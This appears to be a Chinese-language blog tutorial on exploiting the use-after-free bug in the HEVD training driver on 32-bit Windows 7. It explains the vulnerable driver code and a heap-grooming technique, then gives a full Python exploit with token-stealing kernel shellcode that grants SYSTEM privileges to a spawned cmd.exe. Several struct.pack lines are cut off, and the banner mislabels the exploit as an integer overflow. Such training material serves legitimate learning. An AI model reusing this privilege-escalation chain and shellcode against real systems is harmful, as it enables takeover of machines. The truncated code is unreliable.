内核双机调试环境搭建的教程在网上有很多,值得一提的是mac下通过虚拟机也可以实现双机调试,这次要分析的文章是内核漏洞中的UAF漏洞。在这里主要是通过HEVD这个项目来了解内核漏洞的原理以及利用方式。需要指出的是,我这里的调试环境是,调试机是win7 64位,被调试机是win7 32位。
UAF漏洞
UAF漏洞原理在网上也可以找到很多讲解的文章,具体的原理不再讲解。大致原理是:申请出一个堆块保存在一个指针中,在释放后,没有将该指针清空,形成了一个悬挂指针(dangling pointer),而后再申请出堆块时会将刚刚释放出的堆块申请出来,并复写其内容,而悬挂指针此时仍然可以使用,使得出现了不可控的情况。攻击者一般利用该漏洞进行函数指针的控制,从而劫持程序执行流。
漏洞利用的过程可以分为以下4步:
[if !supportLists]1. [endif]申请堆块,保存指针。
[if !supportLists]2. [endif]释放堆块,形成悬挂指针。
[if !supportLists]3. [endif]再次申请堆块,填充恶意数据。
[if !supportLists]4. [endif]使用悬挂指针,实现恶意目的。
下面我们去HEVD项目中具体看如何体现。
申请堆块
首先是0x222013驱动号对应的分配USE_AFTER_FREE结构体的函数,该结构体的定义是
可以看到里面有个函数指针,以及后面有个0x54大小的字符串。分配UAF对象函数的关键代码如下:
可以看到首先调用ExAllocatePoolWithTag申请出PUSE_AFTER_FREE结构体,并将该结构体的函数指针赋值为一个UaFObjectCallback函数地址。并在最后一行代码里,将申请出来的堆块保存在全局指针中。
释放堆块
直接看到0x22201B驱动号对应的释放堆块的FreeUaFObjectIoctlHandler函数。关键代码及注释如下:
if (g_UseAfterFreeObject) {
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;//可以看到在安全的版本中,将全局指针清空了
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
//而在有漏洞的版本中并没有将全局指针清空,导致形成悬挂指针
#endif
漏洞即存在该函数当中,HEVD函数里有安全和漏洞两个版本的选项,通过源代码可以很明显的看到在安全的版本中,释放掉堆块后,有将全局指针清空的操作,而在漏洞的版本中并没有清空指针的操作,从而形成了悬挂指针,导致了漏洞的形成。
再次申请堆块
再次申请堆块对应的是0x22201F驱动号对应的AllocateFakeObjectIoctlHandler函数,该函数中申请出一个与USE_AFTER_FREE同样大小的FAKE_OBJECT结构体。
typedef struct _FAKE_OBJECT {
CHAR Buffer[0x58];
} FAKE_OBJECT, *PFAKE_OBJECT;
关键源代码及注释如下:
// Allocate Pool chunk
KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
sizeof(FAKE_OBJECT),
(ULONG)POOL_TAG);
//申请结构体
……
// Copy the Fake structure to Pool chunk
RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));//将用户输入拷贝至结构体
可以看到再次申请的这个FAKE结构体与前面的区别在于没有前面4字节的函数指针。这里的攻击场景可以理解为,再次申请出来的FAKE结构体与之前的结构体是同一块内存,在最后将用户输入拷贝到结构体的时候就会覆盖结构体里面的函数指针,指向攻击者shellcode的位置。
使用悬挂指针
在上一步中,我们已经做到了FAKE结构体和USE_AFTER_FREE指向同一块内存,同时使用用户输入覆盖了该结构体的函数指针,因此再次使用函数指针时,会导致控制流的劫持,驱动号0x222017对应的UseUaFObjectIoctlHandler函数关键源代码如下:
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();//该地址由攻击者控制。
}
Status = STATUS_SUCCESS;
}
编写EXP
上一部分通过源代码介绍了漏洞的大致利用过程,这一部分,主要是具体exp的编写,以及实际要解决的一个问题。
需要解决的问题
在这里需要解决的一个问题就是,在我们第二步释放堆块的时候,该结构体有可能会和前面已经释放的堆块合并,如果合并的话,在我们再次申请的时候申请的时候,分配出来的堆块将不再是同一块内存,导致覆盖函数指针失败。
如何解决该问题,有一篇论文写的很好,要详细了解可以去看看,最后解决的方案大致意思是如下:
Windows系统中有个叫IoCompletionReserve的对象大小为0x60,可以通过NtAllocateReserveObject申请出来,需要做的是
1.首先申请0x10000个该对象并将指针保存下来;
2.然后再申请0x5000个对象,将指针保存下来;
3.第二步中的0x5000个对象,每隔一个对象释放一个对象;
第一步的操作是将现有的空余堆块都申请出来,第二步中申请出来的堆块应该都是连续的,通过第三步的操作,使得我们申请UAE_AFTER_FREE结构体其前面的堆块应该不是空闲的,因此在释放的时候不会合并,从而再分配的时候出现意外的可能性基本为0。下面是具体exp的代码,是python编写的。
首先第一步是申请IoCompletionReserve对象并释放,以此来控制好堆块布局的代码。
def heap_spray():
spray1 = []
spray2 = []
for i in range(0,0x10000):
spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
for i in range(0,0x5000):
spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
for i in range(0,0x5000,2):
CloseHandle(spray2[i])
接下来是申请UESAFTERFREE堆块
def alloc(hDevice,dwIoControlCode):
"""alloc USEAFTERFREE struct"""
evilbuf = create_string_buffer("A"*0x58)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = None
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
再接着是释放该堆块
def delete(hDevice,dwIoControlCode):
"""delete USEAFTERFREE struct"""
evilbuf = create_string_buffer("A"*0x58)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = None
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
紧接着是申请出FAKE结构体,使用shellcode地址填写前四字节,shellcode使用的是提权shellcode,具体原理可以在网上寻找。
def alloc_fake(hDevice,dwIoControlCode):
evilbuf = create_string_buffer(struct.pack("
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = None
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
最后是调用使用该悬挂指针
def use(hDevice,dwIoControlCode):
evilbuf = create_string_buffer("A"*0x58)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = None
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
完整的exp代码如下:
from ctypes import *
from ctypes.wintypes import *
import sys, struct, time
# Define constants
CREATE_NEW_CONSOLE = 0x00000010
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080
FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS = 0x00000000
METHOD_NEITHER = 0x00000003
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
HANDLE = c_void_p
LPTSTR = c_void_p
LPBYTE = c_char_p
# Define WinAPI shorthand
CreateProcess = windll.kernel32.CreateProcessW # <-- Unicode version!
VirtualAlloc = windll.kernel32.VirtualAlloc
CreateFile = windll.kernel32.CreateFileW # <-- Unicode version!
DeviceIoControl = windll.kernel32.DeviceIoControl
NtAllocateReserveObject=windll.ntdll.NtAllocateReserveObject
CloseHandle=windll.kernel32.CloseHandle
class STARTUPINFO(Structure):
"""STARTUPINFO struct for CreateProcess API"""
_fields_ = [("cb", DWORD),
("lpReserved", LPTSTR),
("lpDesktop", LPTSTR),
("lpTitle", LPTSTR),
("dwX", DWORD),
("dwY", DWORD),
("dwXSize", DWORD),
("dwYSize", DWORD),
("dwXCountChars", DWORD),
("dwYCountChars", DWORD),
("dwFillAttribute", DWORD),
("dwFlags", DWORD),
("wShowWindow", WORD),
("cbReserved2", WORD),
("lpReserved2", LPBYTE),
("hStdInput", HANDLE),
("hStdOutput", HANDLE),
("hStdError", HANDLE)]
class PROCESS_INFORMATION(Structure):
"""PROCESS_INFORMATION struct for CreateProcess API"""
_fields_ = [("hProcess", HANDLE),
("hThread", HANDLE),
("dwProcessId", DWORD),
("dwThreadId", DWORD)]
def procreate():
"""Spawn shell and return PID"""
print "[*]Spawning shell..."
lpApplicationName = u"c:\\windows\\system32\\cmd.exe" # Unicode
lpCommandLine = u"c:\\windows\\system32\\cmd.exe" # Unicode
lpProcessAttributes = None
lpThreadAttributes = None
bInheritHandles = 0
dwCreationFlags = CREATE_NEW_CONSOLE
lpEnvironment = None
lpCurrentDirectory = None
lpStartupInfo = STARTUPINFO()
lpStartupInfo.cb = sizeof(lpStartupInfo)
lpProcessInformation = PROCESS_INFORMATION()
ret = CreateProcess(lpApplicationName, # _In_opt_ LPCTSTR
lpCommandLine, # _Inout_opt_ LPTSTR
lpProcessAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES
lpThreadAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES
bInheritHandles, # _In_ BOOL
dwCreationFlags, # _In_ DWORD
lpEnvironment, # _In_opt_ LPVOID
lpCurrentDirectory, # _In_opt_ LPCTSTR
byref(lpStartupInfo), # _In_ LPSTARTUPINFO
byref(lpProcessInformation)) # _Out_ LPPROCESS_INFORMATION
if not ret:
print "\t[-]Error spawning shell: " + FormatError()
sys.exit(-1)
time.sleep(1) # Make sure cmd.exe spawns fully before shellcode executes
print "\t[+]Spawned with PID: %d" % lpProcessInformation.dwProcessId
return lpProcessInformation.dwProcessId
def gethandle():
"""Open handle to driver and return it"""
print "[*]Getting device handle..."
lpFileName = u"\\\\.\\HacksysExtremeVulnerableDriver"
dwDesiredAccess = GENERIC_READ | GENERIC_WRITE
dwShareMode = 0
lpSecurityAttributes = None
dwCreationDisposition = OPEN_EXISTING
dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
hTemplateFile = None
handle = CreateFile(lpFileName, # _In_ LPCTSTR
dwDesiredAccess, # _In_ DWORD
dwShareMode, # _In_ DWORD
lpSecurityAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES
dwCreationDisposition, # _In_ DWORD
dwFlagsAndAttributes, # _In_ DWORD
hTemplateFile) # _In_opt_ HANDLE
if not handle or handle == -1:
print "\t[-]Error getting device handle: " + FormatError()
sys.exit(-1)
print "\t[+]Got device handle: 0x%x" % handle
return handle
def ctl_code(function,
devicetype = FILE_DEVICE_UNKNOWN,
access = FILE_ANY_ACCESS,
method = METHOD_NEITHER):
"""Recreate CTL_CODE macro to generate driver IOCTL"""
return ((devicetype << 16) | (access << 14) | (function << 2) | method)
def shellcode(pid):
"""Craft our shellcode and stick it in a buffer"""
tokenstealing = (
#---[Setup]
"\x60" # pushad
"\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" # mov ecx, eax (Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]
#-- find cmd process"
"\xBA"+ struct.pack("
"\x8B\x89\xB8\x00\x00\x00" # mov ecx, [ecx + FLINK_OFFSET] <-|
"\x81\xe9\xB8\x00\x00\x00" # sub ecx, FLINK_OFFSET |
"\x39\x91\xB4\x00\x00\x00" # cmp [ecx + PID_OFFSET], edx |
"\x75\xED" # jnz
#---[Copy System PID token]
"\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-|
"\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET |
"\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx |
"\x75\xED" # jnz ->|
"\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
"\x61" # popad
"\x31\xC0" # NTSTATUS -> STATUS_SUCCESS
#"\x83\xc4\x14" # add esp,0x14
#"\x5d" #pop ebp
"\xC2\x00\x00" # ret 8
""
)
# ret
print "[*]Allocating buffer for shellcode..."
lpAddress = None
dwSize = len(tokenstealing)
flAllocationType = (MEM_COMMIT | MEM_RESERVE)
flProtect = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(lpAddress, # _In_opt_ LPVOID
dwSize, # _In_ SIZE_T
flAllocationType, # _In_ DWORD
flProtect) # _In_ DWORD
if not addr:
print "\t[-]Error allocating shellcode: " + FormatError()
sys.exit(-1)
print "\t[+]Shellcode buffer allocated at: 0x%x" % addr
# put de shellcode in de buffer and shake it all up
memmove(addr, tokenstealing, len(tokenstealing))
return addr
def heap_spray():
spray1 = []
spray2 = []
for i in range(0,0x10000):
spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
for i in range(0,0x5000):
spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
for i in range(0,0x5000,2):
CloseHandle(spray2[i])
def alloc(hDevice,dwIoControlCode):
"""alloc USEAFTERFREE struct"""
evilbuf = create_string_buffer("A"*0x58)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = byref(c_ulong())
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
def delete(hDevice,dwIoControlCode):
"""delete USEAFTERFREE struct"""
evilbuf = create_string_buffer("A"*0x58)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = byref(c_ulong())
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
def alloc_fake(hDevice,dwIoControlCode,scAddr):
evilbuf = create_string_buffer(struct.pack("
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = byref(c_ulong())
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
def use(hDevice,dwIoControlCode):
evilbuf = create_string_buffer("A"*0x58)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0xffffffff
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = byref(c_ulong())
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
def trigger(hDevice, scAddr):
"""Create evil buffer and send IOCTL"""
heap_spray()
alloc(hDevice,ctl_code(0x804))
delete(hDevice,ctl_code(0x806))
alloc_fake(hDevice,ctl_code(0x807),scAddr)
use(hDevice,ctl_code(0x805))
if __name__ == "__main__":
print "\n**HackSys Extreme Vulnerable Driver**"
print "***Integer overflow exploit***\n"
pid = procreate()
trigger(gethandle(),shellcode(pid)) # ugly lol
最终获得system权限